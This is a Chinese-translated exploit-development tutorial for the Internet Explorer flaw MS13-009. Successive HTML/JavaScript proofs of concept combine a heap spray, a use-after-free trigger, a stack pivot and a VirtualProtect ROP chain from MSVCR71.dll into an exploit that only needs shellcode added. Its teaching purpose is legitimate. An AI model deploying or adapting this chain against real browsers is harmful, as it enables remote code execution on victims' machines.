返回介绍

MS13-009 代码执行

发布于 2025-01-03 23:32:55 字数 17383 浏览 0 评论 0 收藏 0

走得挺远了!把这些内容放在一起我们就可以开启代码执行之旅了。首先创建我们新的 POC,它包含了堆喷射以及触发漏洞的代码。

<!doctype html>
<html>
<head>
<script>
 
  //Fix BSTR spec
  function alloc(bytes, mystr) {
    while (mystr.length<bytes) mystr += mystr;
    return mystr.substr(0, (bytes-6)/2);
  }
   
  block_size = 0x1000;
  padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
  Padding = '';
  NopSlide = '';
   
  var Shellcode = unescape(
  '%u7546%u7a7a%u5379'+   // ASCII
  '%u6365%u7275%u7469'+   // FuzzySecurity
  '%u9079');
   
  for (p = 0; p < padding_size; p++){ 
  Padding += unescape('%ub33f');}
   
  for (c = 0; c < block_size; c++){ 
  NopSlide += unescape('%u9090');}
  NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
   
  var OBJECT = Padding + Shellcode + NopSlide;
  OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
   
  var evil = new Array();
  for (var k = 0; k < 150; k++) {
    evil[k] = OBJECT.substr(0, OBJECT.length);
  }
  
  var data;
  var objArray = new Array(1150);
   
  setTimeout(function(){
  document.body.style.whiteSpace = "pre-line";
   
  //CollectGarbage();
   
    for (var i=0;i<1150;i++){
      objArray[i] = document.createElement('div');
      objArray[i].className = data += unescape("%u0c0c%u0c0c");
    }
   
    setTimeout(function(){document.body.innerHTML = "boo"}, 100)
    }, 100)
   
</script>
</head>
<body>
<p> </p>
</body>
</html>

从下面的截图可以看到,我们覆盖了 EIP 为 0x90909090,这是因为 EIP 从 0x0c0c0c0c+0x70=0x0c0c0c7c 中获取了 DWORD 值,它指向我们的 nopslide。

这一开始会有点困惑,下面的图示会帮助你理清!

mshtml!CElement::Doc:
3cf76980 8b01      mov   eax,dword ptr [ecx]    /// eax = 0x0c0c0c0c
3cf76982 8b5070      mov   edx,dword ptr [eax+70h]  /// edx = 0x0c0c0c0c + 0x70 = DWORD 0x0c0c0c7c
3cf76985 ffd2      call  edx            /// call DWORD 0x0c0c0c7c


 ________________________
|            |
|    Padding     |
|            |
|            |
|            |
|            |
|            |
|------------------------| <-- 0x0c0c0c0c (= EAX), this points exactly at the start of our shellcode 
|     Shellcode    |   variable.
|------------------------|
|            |
|            |
|     NOP's      |
|            |
|            | <-- 0x0c0c0c7c (= EAX+70h), EIP is overwritten by the DWORD value at this 
|            |   address, in this case 0x90909090.
|            |
|            |
|            |
|            |
|            |
|   (0x1000 Block)   |
|________________________|

让我们尝试把 shellcode 进行 padding 从而让它精准的覆盖 EIP。我们可以通过预置一个缓冲区长度为 0x70 的 unescape ASCII 字符串来实现(112-bytes = 28-DWORD’s)。

<!doctype html>
<html>
<head>
<script>
 
  //Fix BSTR spec
  function alloc(bytes, mystr) {
    while (mystr.length<bytes) mystr += mystr;
    return mystr.substr(0, (bytes-6)/2);
  }
   
  block_size = 0x1000;
  padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
  Padding = '';
  NopSlide = '';
   
  var Shellcode = unescape(
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+   // Padding 0x70 hex!
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u7546%u7a7a%u5379'+   // ASCII
  '%u6365%u7275%u7469'+   // FuzzySecurity
  '%u9079');
   
  for (p = 0; p < padding_size; p++){ 
  Padding += unescape('%ub33f');}
   
  for (c = 0; c < block_size; c++){ 
  NopSlide += unescape('%u9090');}
  NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
   
  var OBJECT = Padding + Shellcode + NopSlide;
  OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
   
  var evil = new Array();
  for (var k = 0; k < 150; k++) {
    evil[k] = OBJECT.substr(0, OBJECT.length);
  }
  
  var data;
  var objArray = new Array(1150);
   
  setTimeout(function(){
  document.body.style.whiteSpace = "pre-line";
   
  //CollectGarbage();
   
    for (var i=0;i<1150;i++){
      objArray[i] = document.createElement('div');
      objArray[i].className = data += unescape("%u0c0c%u0c0c");
    }
   
    setTimeout(function(){document.body.innerHTML = "boo"}, 100)
    }, 100)
   
</script>
</head>
<body>
<p> </p>
</body>
</html>

如期所致,我们完美的控制了 EIP。提醒一下,EIP 的值是小端字节序。

0x1000 块的新布局如下。

 ________________________
|            |
|    Padding     |
|            |
|            |
|            |
|            |
|            |
|------------------------| <-- 0x0c0c0c0c (= EAX), this points exactly at the start of our shellcode 
|            |   variable.
|            |
|     Shellcode    |
|            |
|            |
|            |
|---------[EIP]----------| <-- 0x0c0c0c7c (= EAX+70h), EIP is overwritten by the DWORD value at this 
|            |   address.
|            |
|     NOP's      |
|            |
|            |
|            |
|   (0x1000 Block)   |
|________________________|

完美!现在我们不得不面对下一个障碍。我们的 ROP 链和 shellcode 会放在堆上,但是我们的栈指针(=ESP)指向了 mshtml 的某处。任何 ROP gadget 执行后都将返回到下一个栈上的地址因此我们需要劫持栈(Stack Pivot),把栈从 mshtml 的某处劫持到我们控制的堆上来(0x1000 字节块)。你可能记得 EAX 指向了 shellcode 的起始,因此如果我们找到了一个 ROP gadget 可以将 EAX 交换给 ESP 的话(mov esp,eax/xchg eax,esp),我们就可以实现栈劫持并从 0x0c0c0c0c 地址处开始执行 ROP 链了。

我将从 MSVCR71.dll 中使用 ROP gadgets,它是 java6 的包,会被 IE 自动加载。我通过 mona 生成了两个文本文件:

  1. MSVCR71_rop_suggestions.txt 包含了各种主题组织成的 ROP gadgets 列表
  2. MSVCR71_rop.txt 包含了原始的 ROP gadgets 列表

如果你想要玩玩的话我建议你去下载这些文件并用正则来解析它们。

MSVCR71_rop_suggestions.txt - here

MSVCR71_rop.txt - here

通过解析文本文件,我们可以简单的搜索到想要的 gadget,让我们修改 POC,验证一下是否已然万事俱备。

译者注:stack pivot 是个偷梁换柱的技术,把堆变成栈,然后在堆上放置的 ROP 链就发挥作用了。但利用后是否要进行复原操作,或者遗留副作用,则要具体情况具体分析了。另外,作者之所以仅用 MSVCR71.dll 来生成 ROP,是因为这个 dll 没有开启 ASLR,这就为 ROP 链的地址硬编码提供了稳定性。后期的 IE 可能找不到没有开启 ASLR 的模块,通过利用未开启 ASLR 的模块来绕过 ASLR 已经不适用了,但这并不代表无计可施,最常见的,我们可以找到某个可以 leak info 的地方,比如 leak 处某个对象的虚表地址,利用虚表地址在模块中的偏移就可以获取该模块的基地址(ASLR 变的是基地址,但虚表的相对偏移不会变),此时就可以利用这个模块的 ROP gadgets 了。

<!doctype html>
<html>
<head>
<script>
 
  //Fix BSTR spec
  function alloc(bytes, mystr) {
    while (mystr.length<bytes) mystr += mystr;
    return mystr.substr(0, (bytes-6)/2);
  }
   
  block_size = 0x1000;
  padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
  Padding = '';
  NopSlide = '';
   
  var Shellcode = unescape(
  '%u4242%u4242'+  // EIP will be overwritten with 0x42424242 (= BBBB)
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+
  '%u4141%u4141'+  
  '%u8b05%u7c34'); // 0x7c348b05 : # XCHG EAX,ESP # RETN  ** [MSVCR71.dll]
   
  for (p = 0; p < padding_size; p++){ 
  Padding += unescape('%ub33f');}
   
  for (c = 0; c < block_size; c++){ 
  NopSlide += unescape('%u9090');}
  NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
   
  var OBJECT = Padding + Shellcode + NopSlide;
  OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
   
  var evil = new Array();
  for (var k = 0; k < 150; k++) {
    evil[k] = OBJECT.substr(0, OBJECT.length);
  }
  
  var data;
  var objArray = new Array(1150);
   
  setTimeout(function(){
  document.body.style.whiteSpace = "pre-line";
   
  //CollectGarbage();
   
    for (var i=0;i<1150;i++){
      objArray[i] = document.createElement('div');
      objArray[i].className = data += unescape("%u0c0c%u0c0c");
    }
   
    setTimeout(function(){document.body.innerHTML = "boo"}, 100)
    }, 100)
   
</script>
</head>
<body>
<p> </p>
</body>
</html>

从截图中可以看到命中了 xchg eax, esp 指令,如果我们继续执行的话,就可以成功的劫持栈并执行 0x0c0c0c0c 的第一个 DWORD 了。

目前已基本搞定。我们现在需要执行 ROP 链去禁止一个内存区域的 DEP 保护,此后我们就可以执行第二个舞台上防止的 payload 了。幸运的是,MSVCR71.dll 已经被攻击者反复滥用过,该 dll 有一个优化过的 ROP 链可用,它由 corelanc0d3r here 创建。让我们把这个 ROP 链插入到 POC 中并重新运行 exp。

<!doctype html>
<html>
<head>
<script>
 
  //Fix BSTR spec
  function alloc(bytes, mystr) {
    while (mystr.length<bytes) mystr += mystr;
    return mystr.substr(0, (bytes-6)/2);
  }
   
  block_size = 0x1000;
  padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
  Padding = '';
  NopSlide = '';
   
  var Shellcode = unescape(
   
  //--------------------------------------------------------[ROP]-//
  // Generic ROP-chain based on MSVCR71.dll
  //--------------------------------------------------------------//
  "%u653d%u7c37" + // 0x7c37653d : POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
  "%ufdff%uffff" + // 0xfffffdff : Value to negate, will become 0x00000201 (dwSize)
  "%u7f98%u7c34" + // 0x7c347f98 : RETN (ROP NOP) [msvcr71.dll]
  "%u15a2%u7c34" + // 0x7c3415a2 : JMP [EAX] [msvcr71.dll]
  "%uffff%uffff" + // 0xffffffff : 
  "%u6402%u7c37" + // 0x7c376402 : skip 4 bytes [msvcr71.dll]
  "%u1e05%u7c35" + // 0x7c351e05 : NEG EAX # RETN [msvcr71.dll] 
  "%u5255%u7c34" + // 0x7c345255 : INC EBX # FPATAN # RETN [msvcr71.dll] 
  "%u2174%u7c35" + // 0x7c352174 : ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 
  "%u4f87%u7c34" + // 0x7c344f87 : POP EDX # RETN [msvcr71.dll] 
  "%uffc0%uffff" + // 0xffffffc0 : Value to negate, will become 0x00000040
  "%u1eb1%u7c35" + // 0x7c351eb1 : NEG EDX # RETN [msvcr71.dll] 
  "%ud201%u7c34" + // 0x7c34d201 : POP ECX # RETN [msvcr71.dll] 
  "%ub001%u7c38" + // 0x7c38b001 : &Writable location [msvcr71.dll]
  "%u7f97%u7c34" + // 0x7c347f97 : POP EAX # RETN [msvcr71.dll] 
  "%ua151%u7c37" + // 0x7c37a151 : ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
  "%u8c81%u7c37" + // 0x7c378c81 : PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 
  "%u5c30%u7c34" + // 0x7c345c30 : ptr to "push esp #  ret " [msvcr71.dll]
   
  //-------------------------------------------------[ROP Epilog]-//
  // After calling VirtalProtect() we are left with some junk.
  //--------------------------------------------------------------//
  "%u4141%u4141" +
  "%u4141%u4141" +
  "%u4141%u4141" +
  "%u4141%u4141" +
  "%u4141%u4141" + // Junk
  "%u4141%u4141" +
  "%u4141%u4141" +
  "%u4141%u4141" +
  "%u4141%u4141" +
  "%u4141%u4141" +
   
  //-------------------------------------------[EIP - Stackpivot]-//
  // EIP = 0x7c342643 # XCHG EAX,ESP # RETN  ** [MSVCR71.dll]
  //--------------------------------------------------------------//
  "%u8b05%u7c34"); // 0x7c348b05 : # XCHG EAX,ESP # RETN  ** [MSVCR71.dll]
   
  for (p = 0; p < padding_size; p++){ 
  Padding += unescape('%ub33f');}
   
  for (c = 0; c < block_size; c++){ 
  NopSlide += unescape('%u9090');}
  NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
   
  var OBJECT = Padding + Shellcode + NopSlide;
  OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
   
  var evil = new Array();
  for (var k = 0; k < 150; k++) {
    evil[k] = OBJECT.substr(0, OBJECT.length);
  }
  
  var data;
  var objArray = new Array(1150);
   
  setTimeout(function(){
  document.body.style.whiteSpace = "pre-line";
   
  //CollectGarbage();
   
    for (var i=0;i<1150;i++){
      objArray[i] = document.createElement('div');
      objArray[i].className = data += unescape("%u0c0c%u0c0c");
    }
   
    setTimeout(function(){document.body.innerHTML = "boo"}, 100)
    }, 100)
   
</script>
</head>
<body>
<p> </p>
</body>
</html>

从截图中我们可以看到我们在栈劫持后成功命中了第一个 gadget,在调用 VirtualProtect 后直达我们留下来的 junk 处。

现在剩下的就是在 junk buffer 的最后插入一个短跳转,跳过我们的初始化 EIP 覆盖位置(XCHG EAX,ESP #RETN)。这里可以放任何 shellcode,在短跳转后就得以执行!

<!doctype html>
<html>
<head>
<script>
 
  //Fix BSTR spec
  function alloc(bytes, mystr) {
    while (mystr.length<bytes) mystr += mystr;
    return mystr.substr(0, (bytes-6)/2);
  }
   
  block_size = 0x1000;
  padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
  Padding = '';
  NopSlide = '';
   
  var Shellcode = unescape(
   
  //--------------------------------------------------------[ROP]-//
  // Generic ROP-chain based on MSVCR71.dll
  //--------------------------------------------------------------//
  "%u653d%u7c37" + // 0x7c37653d : POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
  "%ufdff%uffff" + // 0xfffffdff : Value to negate, will become 0x00000201 (dwSize)
  "%u7f98%u7c34" + // 0x7c347f98 : RETN (ROP NOP) [msvcr71.dll]
  "%u15a2%u7c34" + // 0x7c3415a2 : JMP [EAX] [msvcr71.dll]
  "%uffff%uffff" + // 0xffffffff : 
  "%u6402%u7c37" + // 0x7c376402 : skip 4 bytes [msvcr71.dll]
  "%u1e05%u7c35" + // 0x7c351e05 : NEG EAX # RETN [msvcr71.dll] 
  "%u5255%u7c34" + // 0x7c345255 : INC EBX # FPATAN # RETN [msvcr71.dll] 
  "%u2174%u7c35" + // 0x7c352174 : ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 
  "%u4f87%u7c34" + // 0x7c344f87 : POP EDX # RETN [msvcr71.dll] 
  "%uffc0%uffff" + // 0xffffffc0 : Value to negate, will become 0x00000040
  "%u1eb1%u7c35" + // 0x7c351eb1 : NEG EDX # RETN [msvcr71.dll] 
  "%ud201%u7c34" + // 0x7c34d201 : POP ECX # RETN [msvcr71.dll] 
  "%ub001%u7c38" + // 0x7c38b001 : &Writable location [msvcr71.dll]
  "%u7f97%u7c34" + // 0x7c347f97 : POP EAX # RETN [msvcr71.dll] 
  "%ua151%u7c37" + // 0x7c37a151 : ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
  "%u8c81%u7c37" + // 0x7c378c81 : PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 
  "%u5c30%u7c34" + // 0x7c345c30 : ptr to "push esp #  ret " [msvcr71.dll]
   
  //-------------------------------------------------[ROP Epilog]-//
  // After calling VirtalProtect() we are left with some junk.
  //--------------------------------------------------------------//
  "%u4141%u4141" +
  "%u4141%u4141" +
  "%u4141%u4141" +
  "%u4141%u4141" +
  "%u4141%u4141" + // Junk
  "%u4141%u4141" +
  "%u4141%u4141" +
  "%u4141%u4141" +
  "%u4141%u4141" +
  "%u4141%u04eb" + // 0xeb04 short jump to get over what used to be EIP
   
  //-------------------------------------------[EIP - Stackpivot]-//
  // EIP = 0x7c342643 # XCHG EAX,ESP # RETN  ** [MSVCR71.dll]
  //--------------------------------------------------------------//
  "%u8b05%u7c34"); // 0x7c348b05 : # XCHG EAX,ESP # RETN  ** [MSVCR71.dll]
   
  for (p = 0; p < padding_size; p++){ 
  Padding += unescape('%ub33f');}
   
  for (c = 0; c < block_size; c++){ 
  NopSlide += unescape('%u9090');}
  NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
   
  var OBJECT = Padding + Shellcode + NopSlide;
  OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
   
  var evil = new Array();
  for (var k = 0; k < 150; k++) {
    evil[k] = OBJECT.substr(0, OBJECT.length);
  }
  
  var data;
  var objArray = new Array(1150);
   
  setTimeout(function(){
  document.body.style.whiteSpace = "pre-line";
   
  //CollectGarbage();
   
    for (var i=0;i<1150;i++){
      objArray[i] = document.createElement('div');
      objArray[i].className = data += unescape("%u0c0c%u0c0c");
    }
   
    setTimeout(function(){document.body.innerHTML = "boo"}, 100)
    }, 100)
   
</script>
</head>
<body>
<p> </p>
</body>
</html>

执行短跳转后,我们跳到了覆盖 EIP 的位置正后方,我们现在就可以执行任何选择的 shellcode 了。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文